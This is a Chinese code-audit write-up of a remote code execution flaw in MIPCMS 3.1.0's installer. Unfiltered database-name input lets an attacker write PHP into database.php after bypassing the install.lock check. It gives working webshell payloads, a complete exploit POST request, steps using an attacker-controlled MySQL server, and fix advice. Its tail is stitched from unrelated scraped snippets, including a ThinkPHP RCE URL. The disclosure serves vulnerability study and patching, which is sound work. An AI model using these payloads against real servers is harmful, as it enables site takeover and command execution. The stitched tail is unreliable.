【代码审计】MIPCMS 远程写入配置文件Getshell

0x00 环境准备

MIPCMS官网:https://www.mipcms.cn

网站源码版本:MIPCMS内容管理系统 V3.1.0(发布时间:2018-01-01)

程序源码下载:http://www.mipcms.cn/mipcms-3.1.0.zip

本地测试网站:

0x01 代码分析

1、漏洞文件位置/app/install/controller/Install.php  第13-23行:

    public function index()      {  ?        if (is_file(PUBLIC_PATH . ‘install‘ . DS .‘install.lock‘)) {              header(‘Location: ‘ . url(‘@/‘));              exit();          }          if (!defined(‘__ROOT__‘)) {              $_root = rtrim(dirname(rtrim($_SERVER[‘SCRIPT_NAME‘], ‘/‘)), ‘/‘);              define(‘__ROOT__‘, ((‘/‘ == $_root || ‘\\‘ == $_root) ? ‘‘ : $_root));          }  

这段index函数对install.lock文件进行检测,如果发现存在就退出。我们继续看下面的代码,本次远程代码执行漏洞代码主要为installPost函数,先来看一下第118-142行:

public function installPost(Request $request) {                header(‘Access-Control-Allow-Origin: *‘);                header(‘Access-Control-Allow-Credentials: true‘);                header(‘Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS‘);                header(‘Access-Control-Allow-Headers: Content-Type, Content-Range,access-token, secret-key,access-key,uid,sid,terminal,X-File-Name,Content-Disposition, Content-Description‘);             if (Request::instance()->isPost()) {                 $dbconfig[‘type‘]="mysql";                 $dbconfig[‘hostname‘]=input(‘post.dbhost‘);                 $dbconfig[‘username‘]=input(‘post.dbuser‘);                 $dbconfig[‘password‘]=input(‘post.dbpw‘);                 $dbconfig[‘hostport‘]=input(‘post.dbport‘);                 $dbname=strtolower(input(‘post.dbname‘));                      $username = input(‘post.username‘);                 $password = input(‘post.password‘);                 $rpassword = input(‘post.rpassword‘);               if (!$username) {                    return jsonError(‘请输入用户名‘);                 }               if (!$password) {                     return jsonError(‘请输入密码‘);                 }                 if (!$rpassword) {                     return jsonError(‘请输入重复密码‘);              }  

这段函数中,并没有沿用index中install.lock进行检测,我们可以通过构造链接,直接跳转到这一步,绕过index函数中install.lock的检测。可以看到,这段installPost函数中获取了多个参数,继续往下看:

    $dsn = "mysql:dbname={$dbname};host={$dbconfig[‘hostname‘]};port={$dbconfig[‘hostport‘]};charset=utf8";      try {          $db = new \PDO($dsn, $dbconfig[‘username‘], $dbconfig[‘password‘]);      } catch (\PDOException $e) {          return jsonError(‘错误代码:‘.$e->getMessage());      }      $dbconfig[‘database‘] = $dbname;      $dbconfig[‘prefix‘]=trim(input(‘dbprefix‘));      $tablepre = input("dbprefix");      $sql = file_get_contents(PUBLIC_PATH.‘package‘.DS.‘mipcms_v_3_1_0.sql‘);      $sql = str_replace("\r", "\n", $sql);      $sql = explode(";\n", $sql);      $default_tablepre = "mip_";      $sql = str_replace(" `{$default_tablepre}", " `{$tablepre}", $sql);      foreach ($sql as $item) {          $item = trim($item);          if(empty($item)) continue;          preg_match(‘/CREATE TABLE `([^ ]*)`/‘, $item, $matches);          if($matches) {              if(false !== $db->exec($item)){  ?            } else {                 return jsonError(‘安装失败‘);              }          } else {              $db->exec($item);          }      }  

这段函数对获取的参数进行检测,Mysql数据库连接失败会报错退出,接着进行导入数据库操作。

继续往下看,第172-192行:

        if(is_array($dbconfig)){          $conf = file_get_contents(PUBLIC_PATH.‘package‘.DS.‘database.php‘);          foreach ($dbconfig as $key => $value) {              $conf = str_replace("#{$key}#", $value, $conf);          }          $install = CONF_PATH;          if(!is_writable($install)){              return jsonError(‘路径:‘.$install.‘没有写入权限‘);          }          try {              $fileStatus = is_file(CONF_PATH. ‘/database.php‘);              if ($fileStatus) {                   unlink(CONF_PATH. ‘/database.php‘);              }              file_put_contents(CONF_PATH. ‘/database.php‘, $conf);              return jsonSuccess(‘配置文件写入成功‘,1);          } catch (Exception $e) {              return jsonError(‘database.php文件写入失败,请检查system/config 文件夹是否可写入‘);          }  

在installPost函数的最后,将参数写入到配置文件database.php中,而且并未对参数进行任何过滤或转义,攻击者可以构造脚本代码写入配置文件。

综上,首先程序流程把控不严谨,可以绕过install.lock检测进入installPost函数中,然后通过构造参数将脚本代码写入配置文件,进一步去触发脚本代码,控制网站服务器。程序在实现上存在远程代码执行漏洞,危害极大。

0x02 漏洞利用

一、如何去构造Payload

难题1:构造的参数在Mysql连接中,必须连接成功,不然程序就报错退出了。

在写入配置文件中,我们能够控制的参数有5个参数,到底哪个参数能利用呢?写入配置文件的形式如下:

    return [          ‘hostname‘       => ‘127.0.0.1‘,    // 服务器地址          ‘database‘       => ‘test‘,         // 数据库名          ‘username‘       => ‘root‘,         // 用户名          ‘password‘       => ‘root‘,         // 密码          ‘hostport‘       => ‘3306‘,         // 端口      ];  

为了能让Mysql连接成功,我们需要自己搭建一个Mysql服务,让程序连接不会报错,这样才能继续利用。另外,在5个参数中,服务器地址和端口是不能改的,用户名限制不能超过16位,Mysql的密码是加密也不好利用,唯一剩下可以利用的就是数据库名,要建立一个与Payload名字一样的数据库名,才能连接成功。

难题2:写入配置文件的时候,大写会全部转化为小写,那么全局变量$_GET等,全局不能利用:

为此,测试了不少一句话木马,尝试通过加密来解决问题,如:

    test‘,1=>file_put_contents("test.php",strtoupper(‘<?php eval($_POST[g])?>‘)),‘xx‘=>‘      test‘,1=>eval(base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2ddKT8+)),‘xx‘=>‘       test‘,1=>eval(urldecode(%24%5F%50%4F%53%54%5B%67%5D)),‘xx‘=>‘  

但是这些Payload要么不行执行,要么不能命名为数据库名。最终,灵感突现,直接放弃?_POST,利用php://input实现的webshell,就不必纠结于大小写了。

    最终Payload:      test‘,1=>eval(file_get_contents(‘php://input‘)),‘xx‘=>‘  

二、漏洞利用过程

模拟环境:网站服务器IP:192.168.8.131 模拟攻击者服务器IP:192.168.8.1

过程1:首先在攻击者服务器(192.168.8.1)搭建一个Mysql服务,新建数据库命名为:test‘,1=>eval(file_get_contents(‘php://input‘)),‘xx‘=>‘

过程2:访问网站服务器(192.168.8.131)提交Payload写入配置文件,

Payload:

http://192.168.8.131/index.php?s=/install/Install/installPost

POST:username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test‘,1=>eval(file_get_contents(‘php://input‘)),‘xx‘=>‘&dbhost=192.168.8.1&dbuser=root&dbpw=root

进一步去触发脚本代码,执行系统命令,whoami查看网站服务器当前用户为administrator: 

查看网站服务器IP设置:

0x03 修复建议

? 1、在初始化过程中进行lock文件检测,避免被绕过;

? 2、全局配置可考虑写入数据库进行调用。

原文地址:https://www.cnblogs.com/xiaozi/p/9865380.html

时间: 2024-10-31 00:29:56

【代码审计】MIPCMS 远程写入配置文件Getshell的相关文章

C#读取和写入配置文件

使用.Net2.0中的ConfigurationManager可以方便的实现对配置app.config的读取和写入. ConfigurationManager默认没有自动载入项目,使用前必须手动添加,方法如下: 项目->引用->添加引用->选择System.configuration 1.使用ConfigurationManager读配置文件 我们可以将简单的配置内容放到app.config中的appSettings节点中如下: <appSettings>  <add

IIS7 无法写入配置文件web.config 错误

FTP上传了一个Asp.Net程序的.zip压缩包到服务器,解压并放到wwwroot下一子目录,并在iis里把该目录设为[虚拟目录],去修改[默认文档]时,提示错误 -- “无法写入配置文件web.config ”,并且浏览器访问报 -- “HTTP 500错误”!以前操作那么多次iis也从未遇到这么诡异的问题! 经过一个非常纠结的排错过程,找出一个绝对意想不到的错误根源: 意识到犯了个错误--没有把该目录转为[应用程序], 选择转为[应用程序],但问题如故. 查了一下web.config文件属

Thinkphp 解决写入配置文件的方法

在/Application/Common/Common创建function.php,然后添加以下代码: <?php /** * [writeArr 写入配置文件方法] * @param [type] $arr [要写入的数据] * @param [type] $filename [文件路径] * @return [type] [description] */ function writeArr($arr, $filename) { return file_put_contents($filena

IIS7.5网站添加默认文档时提示“由于权限不足而无法写入配置文件”。

在对网站添加默认文档时提示“由于权限不足而无法写入配置文件”. 其实这不是权限不足造成的,而是网站的配置文件属性是“只读”造成的. 右击网站配置文件--属性--属性项里去掉只读--确定.

ConfigParser-- 读取写入配置文件

基础读取配置文件   -read(filename)               直接读取文件内容 -sections()                      得到所有的section,并以列表的形式返回 -options(section)            得到该section的所有option -items(section)                得到该section的所有键值对 -get(section,option)        得到section中option的值,

c#写入配置文件(text)

1.获取当前时间 System.DateTime currentTime = new System.DateTime(); currentTime = System.DateTime.Now; 写入配置文件 1)建立文件缓冲流(不知道这名字啥意思..就当规划文件路径和编写方式用的) FileStream 类名fs=new FileStream("文件路径---可以直接写文件名,默认在debug里---例如config.txt ",FileMode.Create); 这里的这个Creat

dedeCMS远程写入getshell(测试版本V5.7)

该漏洞必须结合apache的解析漏洞: 当Apache检测到一个文件有多个扩展名时,如1.php.bak,会从右向左判断,直到有一个Apache认识的扩展名.如果所有的扩展名Apache都不认识,那么变会按照httpd.conf配置中所指定的方式展示这个问题,一般默认情况下是"text/plain"这种方式. dede在安装完成,如果没有删除install文件夹,在install下会有一个index.php.bak的备份文件,利用apache的解析漏洞,可以以php方式解析该文件. 在

SSH远程登录配置文件sshd_config详解

SSH由客户端和服务端的软件组成,在客户端可以使用的软件有SecureCRT.putty.Xshell等,而在服务器端运行的是一个sshd的服务,通过使用SSH,可以把所有传输的数据进行加密,而且也能够防止dns和IP欺骗,此外,SSH传输的数据是经过压缩的,可以加快传输速度 其服务器端的配置文件为/etc/ssh/sshd_config [[email protected] ~]# cat /etc/ssh/sshd_config#       $OpenBSD: sshd_config,v

【漏洞复现】ThinkPHP5 5.x 远程命令执行(getshell)

0x00复现环境 ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell) 0x01步骤 点击start to hack 进入环境页面 run the project 然后访问给出的target address1.执行系统命令显示目录下文件 http://aaa.vsplate.me:52763/public/index.php?s=/index/\think\app/invokefunction&function=call_user_fun